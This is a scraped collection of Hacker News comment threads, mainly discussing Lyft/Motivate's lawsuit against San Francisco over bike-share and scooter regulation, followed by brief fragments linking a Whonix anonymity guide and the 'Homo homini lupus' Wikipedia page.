If we were looking at another kind of public transit, say, subway trains or busses that were subcontracted out to private companies, would you expect 2 competing subway providers? Or two competing bus systems in the same city? I wouldn't.

<comment><USER5> NYC used to have three separate subway systems. To put it mildly, it was not effective, and we're still contending with three effects of it today.

</comment></comment></comment></comment></comment></comment><comment><USER7> Regulatory capture is a wonderful thing isn't it? They cry "too much regulation!" when the city goes after them and then "not enough!" when the regulations are in their favor.

<comment><USER8> What you're describing is irony.

Regulatory capture is when a company gains control of their regulator through bribery or promise of jobs.

For example, if you look at Wall Street's regulators, the most powerful are former financiers. Which is why any effort to impose fiduciary rules on brokers (ie. salesmen) is doomed. aka "Where are the Customers' Yachts?"

</comment></comment><comment><USER9> Hilarious. Lyft is behaving like cabbies used to. The cycle continues and disruption is shown to become inevitable.

<comment><USER10> It's exactly the same except the cabbie licenses/medallions were often shared among multiple independent businesses.

I'd be interested to know what the contract covered and the rules around placement and clearance rules, accessibility, lighting and safety around the docking stations - all things that the "fees" cabbies paid supposedly went towards.

I find non-docking (scooters from experience) to be a public nuisance - <USER2> anywhere and creating a tripping hazard especially for vision impaired people. They would be better off with council owning the docks (make them modular so you can expand/contract to match demand in an area) and selling licenses to cover the upkeep.

</comment></comment><comment><USER11> The actual complaint is worth a read: [https://www.scribd.com/document/412705747/Lyft-Motivate-v- Th...](https://www.scribd.com/document/412705747/Lyft-Motivate-v-The-City-of- San-Francisco)

For example, I've wondered for some time why I'd see Lime Scooters in San Jose, but not bikes. The complaint contains the answer!</comment>


"Do Not" when anonymous - <AUTHOR> https://www.whonix.org/wiki/DoNot <comment><USER2> It would be interesting to see more advice about coarse-grained timing correlations (but I appreciate the thought that's already gone into this).</comment>


Homo homini lupus - <AUTHOR> http://en.wikipedia.org/wiki/Homo_homini_lupus I'm posting this to show contrarian viewpoint on the 'empathy' post a while back. It's an oldie but goodie. I don't necessarily agree but I'd like to hear HN chime in on this age-old debate: Is man fundamentally good or bad? Does technology change this basic disposition? <comment><USER2> Amen.</comment>